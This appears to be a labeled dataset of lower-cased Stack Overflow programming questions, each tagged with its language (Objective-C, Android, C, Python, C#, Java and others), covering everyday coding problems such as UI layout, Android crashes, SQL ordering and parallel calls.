why uitoolbar is disappeared in navigationcontroller   i m trying to push viewcontroller (next  call viewcon) to navigationcontroller. (next  call navcon)    but when viewcon is pushed to navcon  viewcon s toolbar is disappeared.    viewcon s toolbar well work in when viewcon is not pushed in navcon.    who know the reason     <img src= https://i.stack.imgur.com/cd3rj.png  alt= enter image description here > <img src= https://i.stack.imgur.com/bweot.png  alt= enter image description here >    appdelegate.m   <pre><code>- (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions {     self.window = [[[uiwindow alloc] initwithframe:[[uiscreen mainscreen] bounds]] autorelease];     // override point for customization after application launch.      if ([[uidevice currentdevice] userinterfaceidiom] == uiuserinterfaceidiomphone) {         viewcontroller *viewcontroller1 = [[[viewcontroller alloc] initwithnibname:@ viewcontroller_iphone  bundle:nil] autorelease];         self.viewcontroller = [[[uinavigationcontroller alloc] initwithrootviewcontroller:viewcontroller1] autorelease];     } else {         viewcontroller *viewcontroller1 = [[[viewcontroller alloc] initwithnibname:@ viewcontroller_ipad  bundle:nil] autorelease];         self.viewcontroller = [[[uinavigationcontroller alloc] initwithrootviewcontroller:viewcontroller1] autorelease];     }     self.window.rootviewcontroller = self.viewcontroller;     [self.window makekeyandvisible];     return yes; } </code></pre>   viewcontroller.m   <pre><code>@implementation viewcontroller  - (void)viewdidload {     [super viewdidload];      uitoolbar *toolbar = [[uitoolbar alloc] init];     [toolbar setbarstyle:uibarstyleblacktranslucent];     [toolbar sizetofit];      cgfloat toolbarheight = [toolbar frame].size.height;     cgrect viewbounds = self.view.bounds;     cgfloat viewheight = cgrectgetheight(viewbounds);     cgfloat viewwidth = cgrectgetwidth(viewbounds);     cgrect rectarea = cgrectmake(0  viewheight - toolbarheight  viewwidth  toolbarheight);      [toolbar setframe:rectarea];      nsmutablearray *buttons = [[[nsmutablearray alloc] init] autorelease];      uibarbuttonitem *prevbutton = [[uibarbuttonitem alloc] initwithtitle:@ preview  style:uibarbuttonitemstylebordered target:self action:@selector(prevclicked:)];     [buttons addobject:prevbutton];     [prevbutton release];     [toolbar setitems:buttons animated:yes];      [self.view addsubview:toolbar];     [toolbar release];  }  - (void)didreceivememorywarning {     [super didreceivememorywarning];     // dispose of any resources that can be recreated. }  @end </code></pre>,objective-c
could not find class  class_path  referenced from method y  on samsung devices and some devices i am getting following error    <pre><code>e/databaseutils: writing exception to parcel                                                 java.lang.securityexception: permission denial: get/set setting for user asks to run as user -2 but is calling from user 0; this requires android.permission.interact_across_users_full                                                     at com.android.server.am.activitymanagerservice.handleincominguser(activitymanagerservice.java:13140)                                                     at android.app.activitymanager.handleincominguser(activitymanager.java:2038)                                                     at com.android.providers.settings.settingsprovider.callfrompackage(settingsprovider.java:607)                                                     at android.content.contentprovider$transport.call(contentprovider.java:279)                                                     at android.content.contentprovidernative.ontransact(contentprovidernative.java:273)                                                     at android.os.binder.exectransact(binder.java:388)                                                     at dalvik.system.nativestart.run(native method) 12-15 18:24:30.214 13931-13931/com.luharsutharsevasamaj.android e/dalvikvm: could not find class  com.luharsutharsevasamaj.android.fragments.bridefragment$1   referenced from method com.luharsutharsevasamaj.android.fragments.bridefragment.registeronclick 12-15 18:24:30.284 13931-13931/com.luharsutharsevasamaj.android e/androidruntime: fatal exception: main                                                                                   java.lang.noclassdeffounderror: com.luharsutharsevasamaj.android.fragments.bridefragment$1                                                                                       at com.luharsutharsevasamaj.android.fragments.bridefragment.registeronclick(bridefragment.java:163)                                                                                       at com.luharsutharsevasamaj.android.fragments.bridefragment.onactivitycreated(bridefragment.java:140)                                                                                       at android.support.v4.app.fragment.performactivitycreated(fragment.java:1983)                                                                                       at android.support.v4.app.fragmentmanagerimpl.movetostate(fragmentmanager.java:1092)                                                                                       at android.support.v4.app.fragmentmanagerimpl.movetostate(fragmentmanager.java:1252)                                                                                       at android.support.v4.app.backstackrecord.run(backstackrecord.java:742)                                                                                       at android.support.v4.app.fragmentmanagerimpl.execpendingactions(fragmentmanager.java:1617)                                                                                       at android.support.v4.app.fragmentmanagerimpl$1.run(fragmentmanager.java:517)                                                                                       at android.os.handler.handlecallback(handler.java:730)                                                                                       at android.os.handler.dispatchmessage(handler.java:92)                                                                                       at android.os.looper.loop(looper.java:176)                                                                                       at android.app.activitythread.main(activitythread.java:5419)                                                                                       at java.lang.reflect.method.invokenative(native method)                                                                                       at java.lang.reflect.method.invoke(method.java:525)                                                                                       at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:1046)                                                                                       at com.android.internal.os.zygoteinit.main(zygoteinit.java:862)                                                                                       at dalvik.system.nativestart.main(native method) </code></pre>   i have tried following sites but couldn t help anything    <a href= https://stackoverflow.com/questions/36816684/android-studio-e-dalvikvm-could-not-find-class-referenced-from-method >android studio e/dalvikvm: could not find class... referenced from method</a>    <a href= https://stackoverflow.com/questions/2349244/could-not-find-method-xxx-referenced-from-method-yyy >could not find method xxx  referenced from method yyy</a>    my gradle file for app level is below   <pre><code>apply plugin:  com.android.application   android {     compilesdkversion 23     buildtoolsversion  23.0.3       defaultconfig {         applicationid  com.luharsutharsevasamaj.android          minsdkversion 15         targetsdkversion 23         versioncode 1         versionname  1.0          multidexenabled true     }     buildtypes {         release {             minifyenabled false             proguardfiles getdefaultproguardfile( proguard-android.txt )   proguard-rules.pro          }     } }  dependencies {     compile filetree(include: [ *.jar ]  dir:  libs )     testcompile  junit:junit:4.12      compile  com.android.support:multidex:1.0.1      compile  com.android.support:appcompat-v7:23.4.0      compile  com.google.code.gson:gson:2.4      compile  com.squareup.picasso:picasso:2.4.0      compile  com.android.support:cardview-v7:23.4.0      compile  com.android.support:design:23.4.0      compile  com.makeramen:roundedimageview:2.2.1      compile  com.github.rampo.updatechecker:library:2.1.8   } </code></pre>   implemented multidexapplication by below code   <pre><code>public class myapplication extends multidexapplication { </code></pre>   anybody can help  thanks in advance,android
array in struct  i want an array in a struct but i am unsure how to do it. i can only use one array in the struct.   <pre><code>typedef struct  {     int arr[10]; } coords;   coords x;  printf( enter x coordinates:  );  scanf( %d   x.arr[0]); scanf( %d   x.arr[1]); scanf( %d   x.arr[2]); ... </code></pre>   my problem is how do i also enter the x values in the array  i was first thinking of a two dimensional array <code>arr[10][10]</code> but it wouldn t work because i have some calculations to do on the x values.    is the proper way just do define a new object like <code>coords x;</code> and just do it all over     <strong>basically i want the struct to contain one (1) array. i want the struct to contain x and y coordinates for a map  which the user inputs. later in the program i want to do calculations with only the x values</strong>.,c
how to sort an itertools grouper array in python  i have the following itertools._grouper array of values    <pre><code>( a   1l) ( c   3l) ( b   2l) </code></pre>   how would i go about sorting it so it is in the following order    <pre><code>( a   1l) ( b   2l) ( c   3l) </code></pre>,python
run a series of methods in parallel  i am connecting to a rest api and calling a number of end points to get different objects. i create a <code>restservice&lt;t&gt;</code> for each type i want to download:   <pre><code>restservice&lt;agent&gt; agentservice = new restservice&lt;agent&gt;(auth  new agentapi()); restservice&lt;ticket&gt; ticketservice = new restservice&lt;ticket&gt;(auth  new ticketapi()); restservice&lt;company&gt; companyservice = new restservice&lt;company&gt;(auth  new companyapi()); restservice&lt;contact&gt; contactservice = new restservice&lt;contact&gt;(auth  new contactapi()); </code></pre>   for each <code>restservice&lt;t&gt;</code> i then call <code>getall()</code> to call the rest api and get the results:   <pre><code>restresult&lt;agent&gt; agentresults = agentservice.getall(); restresult&lt;company&gt; companyresults = companyservice.getall(); restresult&lt;contact&gt; contactresults = contactservice.getall(); restresult&lt;ticket&gt; ticketresults = ticketservice.getall(); </code></pre>   behind the scenes <code>getall()</code> makes a number of <code>httpwebrequest</code> resquests.    so what i am thinking is to somehow call the 4 <code>getall()</code> calls in parallel as in theory i can make multiple requests to the rest api rather than one after the other.    one idea i had was:   <pre><code>restresult&lt;agent&gt; agentresults; restresult&lt;company&gt; companyresults; restresult&lt;contact&gt; contactresults; restresult&lt;ticket&gt; ticketresults;  parallel.invoke(     () =&gt; agentresults = agentservice.getall()      () =&gt; companyresults = companyservice.getall()      () =&gt; contactresults = contactservice.getall()      () =&gt; ticketresults = ticketservice.getall() ); </code></pre>   but it looks like the variables are never initialized.    any suggestions about how to approach this,c#
what does this statement mean in java   suppose there is an  array declaration:   <pre><code>int [] a = new int[3];  </code></pre>   i m reading a book that says the reason we need to explicitly create arrays at runtime is because we cannot know how much space to reserve for the array at compile time. so  in this case above don t we know we need to reserve 3 times the size of int of the underlying java platform,java
assign label.text from code behind  i have a label in aspx page. i am trying to assign text to that label according to my search criteria. my problem is if i put that label (lblmsge) inside  i am unable to assign the text from code behind. if i put that label outside the tr its working fine but the display is not proper. please see the image. i tried by putting that label in div tags also. but still no luck can any one help me. here is my code.   <pre><code>&lt;tr id= trresults  visible= false  style= height: 700px;  runat= server &gt;                     &lt;td valign= top  style= width: 100%;  align= center &gt;                         &lt;table cellpadding= 0  cellspacing= 6  align= center  width= 98% &gt;                             &lt;tr&gt;                                 &lt;td align= center &gt;                                     &lt;asp:label id= lblmsge  runat= server  font-bold= true  font-size= 10pt  backcolor= yellow                                          forecolor= black &gt;&lt;/asp:label&gt;                                     &lt;telerik:radajaxmanager id= radajaxmanager1  runat= server &gt;                                     &lt;/telerik:radajaxmanager&gt;                                     &lt;div style= width: 98%; height: 600px; overflow: auto; overflow-y: hidden &gt;                                         &lt;telerik:radgrid id= gvpjtmnt  runat= server &gt;                                          &lt;/telerik:radgrid&gt;                                     &lt;/div&gt;                                 &lt;/td&gt;                             &lt;/tr&gt;                         &lt;/table&gt;                     &lt;/td&gt;                 &lt;/tr&gt;               if (gvpjtmnt.items.count &lt;= 0)         {             lblmsge.text =  no records found  please change the search criteria and try again. ;         }         else         {             trresults.visible = true;             scriptmanager.registerclientscriptblock(this.upres  this.gettype()   reccount    document.getelementbyid( ctl00_pageplaceholder_gvpjtmnt_ctl00_ctl02_ctl00_lbltotreccount ).innerhtml=   + ds.tables[0].rows.count +      true);         } </code></pre>,asp.net
how can i reorder rows in sql database  is it possible to reorder rows in sql database  for example; how can i swap the order of 2nd row and 3rd row s values     the order of the row is important to me since i need to display the value according to the order.   <hr>   thanks for all the answers. but  order by  won t work for me.    for example  i put a list of bookmarks in database.  i want to display based on the result i get from query.  (not in alphabet order). just when they are inserted.      but user may re-arrange the position of the bookmark (in any way he/she wants).  so i can t use  order by .    an example is how the bookmark display in the bookmark in firefox. user can switch position easily.  how can i mention that in db     thank you.,sql
issue with guess the number game in objective-c  i m new to objective-c and currently i m writing a guess the number single view application for iphone. the  new game  button currently runs this code.    <pre><code>- (ibaction)newgame:(id)sender {  nsstring *guessanumber = @ guess a number between 1 and 25! ; [output settext:guessanumber]; } </code></pre>   and the random method currently looks like this    <pre><code>-(int)random { int num;  num=(arc4random() % ((unsigned)25 + 1)); while (num == 0) {     if (num == 0)     {     num=(arc4random() % ((unsigned)25 + 1));     } }      return num; } </code></pre>   currently the method for when the player submits his/her guess is   <pre><code>- (ibaction)submitguess:(id)sender {  int num = [self num];  for (int x = 1; x&lt;=3;x++) {      if([textfield.text intvalue] &gt; num)         output.text=@ too high. ;     else if([textfield.text intvalue] &lt; num)         output.text=@ too low. ;     else if ([textfield.text intvalue] == num)         output.text=@ you got it! ;     else          output.text= @ you lose. the number was %i.   num;   } </code></pre>   the turn system isn t implemented currently.    i m new to objective-c and i m not sure how to get the random number in to the action that happens when the submit button is pressed.    sorry for the newbie question.    edit: thanks for the help  it is working now.,objective-c
after k&r what book to use to learn programming in plain c   after <a href= http://en.wikipedia.org/wiki/the_c_programming_language_(book)  rel= nofollow noreferrer >the c programming language</a> by brian kernighan and dennis ritchie  some of the books most favoured by beginners turn out to be ones best avoided  such as <a href= https://stackoverflow.com/questions/391091/should-i-not-use-a-herb-schildt-book-to-learn-from >anything by herb schildt</a> or even the o reilly <a href= http://accu.org/index.php module=bookreviews&amp;func=search&amp;rid=1225  rel= nofollow noreferrer >practical c programming</a>  and there doesn t seem to be much alternative to these. otherwise most of the material available is about c++.    besides k&amp;r and the excellent <a href= http://rads.stackoverflow.com/amzn/click/013089592x  rel= nofollow noreferrer >c: a reference manual</a> which i have already  what other books are the best to use for learning to code in c  (plain <a href= http://en.wikipedia.org/wiki/c89_(c_version)#ansi_c_and_iso_c  rel= nofollow noreferrer >c89</a> and not c++)  without learning bad practices along the way,c
how to attach multiple files in an email with android  i need attach several jpg files on gmail (android). i´m using action_sendmultiple  but always receiving the error  all apps associated with this action have been disabled blocked or not installed .    i found many posts (several here) saying that this is very easy. you just need set the intent to action_sendmultiple and put all files in a uri.     well  none worked in my case.    all this posts are relative old. i did nt found posts after 2015.    i´m testing app in a samsung s5 with android 6.0.1.    any help      my code:   <pre><code>    intent emailintent = new intent(intent.action_send_multiple); // it s not action_send      //emailintent.settype( text/rfc822 );     emailintent.settype( image/* );     emailintent.setdata(uri.parse( mailto:  + globais.wbemailcorporativo)); // or just  mailto:  for blank     emailintent.putextra(intent.extra_subject   inventario holdings =   + wdata);     emailintent.putextra(intent.extra_text   inventário. );     emailintent.addflags(intent.flag_activity_new_task); // this will make such that when user returns to your app  your app is displayed  instead of the email app.      //attaching files      arraylist&lt;uri&gt; uris = new arraylist&lt;uri&gt;();     file foto;      uri u1 = uri.fromfile(file);     uris.add(u1);      for (int a = 0; a &lt; globais.wbfotostotal; a++) {         foto = new file(globais.wbfotos[a]);         foto.setreadable(true  false);         uri u2 = uri.fromfile(foto);         uris.add(u2);     }      emailintent.putparcelablearraylistextra(intent.extra_stream  uris);      try {         startactivity(emailintent);         //startactivity(intent.createchooser(email_intent   oi ));     } catch (exception e) {         e.printstacktrace();         toast.maketext(getapplicationcontext()   erro:  + e.tostring()  toast.length_long).show();         return;     } </code></pre>,android
site_root = variable   i d very much appreciate if someone could help me with a solution.    how can i get this:   <pre><code>define ( site_root   $_server[ document_root ] . site_base); </code></pre>   to look something like this:   <pre><code>define ( site_root   [variable from root.com/directory/data.php] ); </code></pre>   many thanks.,php
button name cannot be resolved into a variable  the last question by me that was answered really help me. thanks for all that. but now i am getting a new error. this is my code:   <pre><code>import android.app.activity; import android.os.bundle; import android.app.alertdialog; import android.view.view;  public class trial extends activity {     /** called when the activity is first created. */     @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.main);         view b1 = findviewbyid(r.id.button1);         b1.setonclicklistener(yourlistener);           view b2 = findviewbyid(r.id.button2);         b1.setonclicklistener(yourlistener);       }     view.onclicklistener yourlistener = new view.onclicklistener() {         @override         public void onclick(view v) {             if (v == button1) {                 new alertdialog.builder(v.getcontext())                         .settitle( paracettamol )                         .setmessage(                                  this medicine is generally used to cure fever )                         .setneutralbutton( ok   null).show();             } else if (v == button2) {                 new alertdialog.builder(v.getcontext())                         .settitle( sertraline )                         .setmessage(                                  this medicine is generally used to cure head aches )                         .setneutralbutton( ok   null).show();             }           }     }; } </code></pre>   firstly  i would like to tell you two things: 1)in the last line  i used to get an error that: syntax error insert ;  to complete fielddeclaration. 2)i inserted ;   and saved it   then i get an error with the if  and else if lines that  button1 cannot be resolved into a variable  and  button2 cannot be resolved into a variable  respectively.    my main.xml code is as follows:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      android:orientation= vertical      android:layout_width= fill_parent      android:layout_height= fill_parent &gt; &lt;button android:id= @+id/button1       android:layout_height= wrap_content       android:layout_width= fill_parent       android:text= @string/s1       android:onclick= b1 /&gt; &lt;button android:id= @+id/button2       android:layout_height= wrap_content       android:text= belladona       android:layout_width= fill_parent       android:onclick= b2 /&gt;  &lt;/linearlayout&gt; </code></pre>   please can anyone help me. thanks in advance.,android
removing commas from a string using sql  if i have the string:   <pre><code>[30.345  -97.345  4] [30.345  -97.345  5] [30.345  -97.345  6] [30.345  -97.345  7] </code></pre>   how would i remove every third comma  so that the string would look like this    <pre><code>[30.345  -97.345  4][30.345  -97.345  5][30.345  -97.345  6][30.345  -97.345  7]   </code></pre>   thanks in advance.,sql
image quality in picture box  have loaded the image to picturebox in zoom mode. but the text is not clear. how to improve the quality of the image with fixed picture box size.,c#
what is capablity of component in android  can anybody tell what is capablity of component in android.i know intent filter is capablity of component.can anybody explain what is that     thanks,android
clearing javascript variables in ajax loaded content  i m working on a ui where i have a menu that loads a div via ajax with content based on the menu item clicked.  my problem is i have a view that has a setinterval call in a script block and when i navigate to another view the script continues to run even though the script block has been removed.  what is the best practice to truly remove a script block and stop the execution of the interval,javascript
add linkedin and twitter in application  i need to add twitter and linkedin in my application. bith twitter and linkedin use oauth files so i cannot able to add then only can add one of them. when i try to use same files for both then only linkedin work and get error  the token is expire  for twitter.    can any one know how to add both in same application.,iphone
no overload for  fmtclr  matches delegate  system.eventhandler   the below code throwing error as  no overload for  fmtclr  matches delegate  system.eventhandler     even though   the handler arguments are passed     isit the issue with the location i added the scipt .   <pre><code>&lt;%@ page title= home page  language= c#  masterpagefile= ~/site.master  autoeventwireup=     codebehind= default.aspx.cs  inherits= testcertification._default  %&gt;  &lt;asp:content id= headercontent  runat= server  contentplaceholderid= headcontent &gt; &lt;script runat= server &gt;         public void fmtclr(object sender  listviewitemeventargs e)    {        label linetotal = (label)        e.item.findcontrol( linetotallabel );        if (linetotal.text.length &gt; 7)        { linetotal.forecolor = system.drawing.color.red; }        else        { linetotal.forecolor = system.drawing.color.black; }    }    &lt;/script&gt; &lt;/asp:content&gt; &lt;asp:content id= bodycontent  runat= server  contentplaceholderid= maincontent &gt;    &lt;asp:sqldatasource id= sqldatasource1  runat= server  ondatabinding= fmtclr  connectionstring= &lt;%$ connectionstrings:fxvanilla50connectionstring %&gt;   selectcommand= select top 2 [addressid]  [city]  [state]  [postalcode]  [country] from       [addresses] &gt;     &lt;/asp:sqldatasource&gt;  &lt;asp:listview id= listview1  runat= server  datasourceid= sqldatasource1 &gt;    &lt;itemtemplate&gt;    &lt;td&gt;    &lt;asp:label id= linetotallabel  runat= server  text= &lt;%# eval( city ) %&gt;  /&gt; &lt;/td&gt; &lt;/itemtemplate&gt; &lt;/asp:listview&gt;  &lt;/asp:content&gt; </code></pre>,.net
how can you generate a random amount of numbers between a certain amount   i need to generate a random amount of numbers between 10 to 15. also  i need to make those random numbers between 20 to 50. i have the second part done i think  i just don t know what to put into my if statement condition. anyone know  here s my code thus far:   <pre><code>#include &lt;iostream&gt; #include &lt;time.h&gt; #include &lt;stdlib.h&gt; using namespace std; int main() { srand((unsigned)time(0)); int random_integer; // stores random number between 20 and 50 int random_set; // stores random amount of numbers for(){ //     random_integer = 20 + rand()%25; // random number between 20 and 50      cout &lt;&lt; generating   &lt;&lt; random_set &lt;&lt;  random numbers  &lt;&lt; random_set   (is a random number between 10 to 15). ;     cout &lt;&lt; random_integer &lt;&lt;    ;     }      return 0; } </code></pre>,c++
is there any way to dial a number without a tel protocol   i have a requirement for device 4.0 like  user dial a number from my app and then app should connect to that number. at the mean time i need a handler to keep track the statechanges for the call(to do so i can use core telephony apis).    so can any know how can a number be connected without a  tel  protocol.    thanks in advance,iphone
const function in class can change the member value   in the code below  why function symmetricaxis can change x and y in p3   i think that const function will not allowed to change member s value. but it does  so i am confused. besides  if i change p3 to const cpoint p3  the compiler do not allow me to do this. but if p3 is not const  the program can change the member in p3.   <pre><code>#include&lt;iostream&gt; #include&lt;math.h&gt; using namespace std;  class cpoint { private:     double x;      double y;  public:     cpoint(double xx = 0  double yy = 0) : x(xx)  y(yy) {};     double distance(cpoint p) const;       double distance0() const;              cpoint symmetricaxis(char style) const;     void input();       void output();  }; void cpoint::input(){     cout &lt;&lt;  please enter point location: x y  &lt;&lt; endl;     cin &gt;&gt; x &gt;&gt; y; } void cpoint::output(){     cout &lt;&lt;  x of point is:   &lt;&lt; x &lt;&lt; endl &lt;&lt;  y of point is:   &lt;&lt; y &lt;&lt; endl;  } cpoint cpoint::symmetricaxis(char style) const{     cpoint p1;     switch (style){         case  x :             p1.y = -y;             break;         case  y :             p1.x = -x;         case  0 :             p1.x = -x;             p1.y = -y;             break;     }     return p1; } int main(){     cpoint p1  p2(1  10)  p3(1 10);     p1.input();     p1.output();     p3 = p1.symmetricaxis( 0 );     p3.output();     return 0; } </code></pre>,c++
understanding the while loop with value false  im relatively new to javascript and as such trying to understand what it is i am writing.    i get the while loop eg:   <pre><code>var i = 0; while (i &lt; 10) {  console.log( i is less than 10 );  i++; } </code></pre>   but what i dont understand is when do you use   <pre><code>while(false) { document.write( do this ); } document.write( do that ); </code></pre>   the  false  value confuses me because i don t understand what i am checking against,javascript
making a namepaced function asynchronous using setimeout  i have this function which is using namespace. i want to make it asynchronous. assuming that this function is being called on click of some button     <pre><code>var ns = {             somemfunc: function (data) {                 alert( hello );             }         } </code></pre>   edit - sorry for being unclear on this. i want to make the call to this function asynchronous by putting the settimeout function inside the somefunc function. not sure how to do that.    thanks in advance,javascript
how to pass a string from python into cmd as a command parameter   i m quite a beginner when it comes to programming so sorry if i get any of the terminology wrong.    i am trying to get text to speech to work for my ai programmed in python. at the moment i have got to a point where in python i have a text output  chosen from the user input. i have a sound output from cmd too which says what the user enters. however i want a way to connect the two... so i want to pass on the python text output to cmd where it will convert it to a sound output.    cmd:   <pre><code>   aws polly synthesize-speech ^    --text-type text ^    --text  **hello world**  ^    --output-format mp3 ^    --voice-id joey ^    speech.mp3 </code></pre>   python:   <pre><code>output =  hello world  </code></pre>   essentially i want to pass that block of code from python to cmd  the output will change depending on the function run and user input.,python
android 2.3.3 api 10 action bar  i m using android 2.3.3(on eclipse)  i would like to add action bar to my project.    i ve tried to add android support library v7 and got many errors like this:   <blockquote>    [2013-08-12 16:42:36 - app name_1_1_1] c:\program   files\android\android-sdk\extras\android\support\v7\appcompat\res\values-v14\styles_base.xml:24:   error: error retrieving parent for item: no resource found that   matches the given name  android:widget.holo.actionbar .  </blockquote>   is it possible to add the support library or add different library for the action bar,android
if objective c is a strict superset of c  then why doesn t this compile   consider the following source file  which is (at least should be) valid c.   <pre><code>void id() { } </code></pre>   i am trying to compile it with <code>gcc -c test.m</code>  but i get the following error:   <pre><code>test.m:1: error: ‘id’ redeclared as different kind of symbol &lt;built-in&gt;:0: error: previous declaration of ‘id’ was here  </code></pre>   if obj-c were a strict superset  wouldn t it mean that all valid c programs also valid obj-c programs  note that i am not <code>#import</code>ing anything  nor am i linking.    granted  maybe llvm(1) is doing something magical by default  or maybe this is a bug in it.    (1): i686-apple-darwin11-llvm-gcc-4.2 (gcc) 4.2.1 (based on apple inc. build 5658) (llvm build 2336.1.00)    <strong>edit</strong>: let me clarify this question - the question is not about the <code>id</code> part  i know it has special meaning. my point is that it is commonly said that obj-c is a strict superset of c. however  this can t be the case if it has <strong>keywords</strong> that conflict with valid c programs.    so either <strong>id</strong> is not reserved by the compiler  or obj-c is not a strict superset. the point of this question is to ask which is the case  or is there something obvious i am missing.,objective-c
using type instead of specific class  i have this code:   <pre><code>if (((classes.productgroup)o).tostring().contains(combobox.text))     return true; else     return false; </code></pre>   now i want not to specify the part <code>classes.productgroup</code>. i want to make it universal.    how can i replace the part <code>classes.productgroup</code> with a <code>type</code> object    <pre><code>type type = typeof(classes.productgroup); </code></pre>   something similar to this:   <pre><code>if (((type)o).tostring().contains(combobox.text))  </code></pre>   is this possible     here is the complete method code:   <pre><code>private void filterpgsincombobox(object obj)   {     if (!dispatcher.checkaccess())     {         dispatcher.invoke(new filterpgsincomboboxdelegate(this.filterpgsincombobox) obj);         return;     }     type type = ((dictionary&lt;combobox  type&gt;)obj).first().value;     combobox combobox = ((dictionary&lt;combobox  type&gt;)obj).first().key;     combobox.isdropdownopen = true;     collectionview itemsvieworiginal = (collectionview)collectionviewsource.getdefaultview(combobox.itemssource);      itemsvieworiginal.filter = ((o) =&gt;     {         if (string.isnullorempty(combobox.text))              return true;         else         {             if (((classes.productgroup)o).tostring().contains(combobox.text))                  return true;             else                  return false;         }     });      itemsvieworiginal.refresh(); } </code></pre>,c#
merge nsmutablearray with a nsarray  filtering the duplicates  i have two arrays  an nsmutablearray and an nsarray. the nsmutablearray is the  store   it stores results from a source of nsarrays. every 5 minute  a new nsarray comes in and the data needs to be filtered and sorted.    sorting by date is pretty easy  so i managed to get the nsarray sorted by nsdate. sorting the other array is not necessary  as it would only cause confusion with the user.    what i want to do: the nsarray has a lot of different objects that all respond to -[object name]  returning an nsstring. the nsarray needs to be merged <strong>into</strong> the nsmutablearray  only adding <strong>new</strong> objects.    the merging itself is no problem  but performance is. the nsmutablearray can contain up to 3000 items  and the nsarray can contain up to 250 items  although usually only 5 or 6 of these have to be merged into the nsmutablearray.    so  my question is: how do you merge two arrays in objective-c  filtering the duplicates  without iterating (250*3000) times     tom    <strong>edited to clarify something</strong><br> the  duplicate  objects are objects that are duplicate to the user but not to the code. they have the same name  but <strong>not</strong> the same address.     more clarification: <code>@ value  != @ value  // true</code>,objective-c
local notifications with ios 8  local notification are working well in foreground. but i need to perform some background work when a notification banner displays.  it is working well when i tap on the banner when local notifications appear.    code:   <pre><code>- (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions {     uilocalnotification *notification = [launchoptions objectforkey:uiapplicationlaunchoptionslocalnotificationkey];     if (notification)     {         nslog(@ appdelegate didfinishlaunchingwithoptions );         [self application:application didreceivelocalnotification:notification];     }     return yes; } </code></pre>   my problem is similar to <a href= https://stackoverflow.com/questions/26702054/ios-local-notification-action-in-background >this issue</a>    i used code below to perform background task:   <pre><code>- (void)application:(uiapplication *)application didreceivelocalnotification:(uilocalnotification *)notification {     dispatch_async(dispatch_get_main_queue()  ^{        [[remindermanger sharedmager]  handlenotification:[[notification userinfo] objectforkey:@ reminderid ]];      });     } </code></pre>,ios
setting the opacity (maybe using  background  property) when form is selected  i want an overlay of the whole screen except the form so people can focus on it.    this solution would be ideal  but the form won t change back.   <pre><code>body {   opacity: .4 }  .form:focus {   opacity: 1 /* crap  doesn t work */ } </code></pre>   this doesn t really work   <pre><code>some-element {   background: rgba(0  0  0  .4) } </code></pre>,css
is there a string increment operator in javascript   i understand there are many for math and integers  but instead of <code>x+=y</code>  is it possible to do <code>x+= &lt;div&gt;&lt;/div&gt; </code>,javascript
invalid object name  database1.login  <pre><code>private void button1_click(object sender  eventargs e) {     try     {         string myconnection = @ data source=(localdb)\v11.0;attachdbfilename=c:\users\g_anik\documents\visual studio 2012\projects\practise2\practise2\database1.mdf;integrated security=true ;         sqlconnection mycon = new sqlconnection(myconnection);          sqlcommand selectcommand = new sqlcommand( select *from database1.login where username=    + this.username.text +     and password=    + this.password.text +     ;   mycon);         sqldatareader myreader;         mycon.open();         myreader = selectcommand.executereader();         int count = 0;         while (myreader.read())         {             count = count + 1;         }         if (count == 1)         {             messagebox.show( username and password is correct );          }         else if (count &gt; 1)         {             messagebox.show( duplicate username and password.. access denied );          }             else             messagebox.show( username and password is incorrect.try again );         mycon.close();         }     catch (exception ex)     {         messagebox.show(ex.message);      } </code></pre>,c#
getting error while running bcsharingviewcontroller to share my youtube embeded video   my error is   <pre><code>undefined symbols for architecture i386:    _objc_class_$_bcsharingviewcontroller   referenced from:       objc-class-ref in viewcontroller.o </code></pre>   <img src= https://i.stack.imgur.com/vbolo.png  alt= error picture >,iphone
is there a way of opening a directory from a specific path using stdio.h and stdlib.h   i m trying to make a program in c which gets a path of a directory and does things with the files inside. is there any way of doing this without using <code>dirent.h</code> or <code>dir.h</code>     also  is there any function which opens a directory with a url such as <code>fopen</code> but that opens files with a url path,c
looking for a free tool to visualize object relationships for c#  here is my ideal solution: a free tool that reads a .csporj or .sln and generates a pretty picture that shows all the objects and how they are related.  by relationships  i don t mean inheritance but rather dependency. for example  if we have a <code>car</code> object and   <code>car</code> has a member variable <code>wheel</code>  i would like that car depends on wheel to be visualized in the graph.    i know visual studio can do inheritance graphs  but that is only half of what i am looking for.    is what i am looking for possible  are there any tools that do something similar     <strong>related question for java:</strong> <a href= https://stackoverflow.com/questions/1824261/are-there-any-tools-to-visualize-the-objects-being-used-in-a-program >are there any tools to visualize the objects being used in a program </a>    just found this answer <a href= https://stackoverflow.com/questions/997798/c-class-object-visualisation-software >c# class/object visualisation software</a>  and i think it answers this question as well.,.net
one of the classes isn t compiling  would like some guidance as to how i can get it to work  got some of the spec of the assignment below  some of it has not been fulfilled  any idea how i would do the bit  on completion a message should be written to the terminal window stating that the program completed successfully  giving the number of accounts read and the total balance      thank you in advance   <pre><code> import java.util.*;  import java.io.*;   public class totaloccountbalances  {      // instance variables - replace the example below with your own private int count; private infile file;     private scanner input;  /**  * method  */ public void closelink() {           input.close(); }  /**  * method  */ public void processfiles() {     while(input.hasnext())     {         string line=input.nextline();      }     count++; } </code></pre>   },java
how to change border color of dialog   i have created a custom dialog. it is having default border color as white. how can i change it s border color,android
problem while merging image with button  guys check this out : <a href= http://www.codetoad.com/html/buttons/image_submit_button.asp  rel= nofollow noreferrer >http://www.codetoad.com/html/buttons/image_submit_button.asp</a>    you ll notice then when you click the button it is taking you to     <a href= http://www.codetoad.com/html/buttons/image_submit_button.asp x=118&amp;y=22  rel= nofollow noreferrer >http://www.codetoad.com/html/buttons/image_submit_button.asp x=118&amp;y=22</a>    how do i remove this  x=118&amp;y=22  at the end.because my form is a get form and because of this its altering my code..    please help,html
what is the recomended setup for a small .net/php development shop   first of all i don t know if it this question belongs here if not please tell me.    i ve recently evolved from freelancer to a small .net/php development shop and we re trying to figure out what the best tools for team development will be (code repository  continuous integration server  automated testing  etc.).    do you have some recommendations  preferably open source or low cost since we are starting out. (we already have visual studio for all the team members).,.net
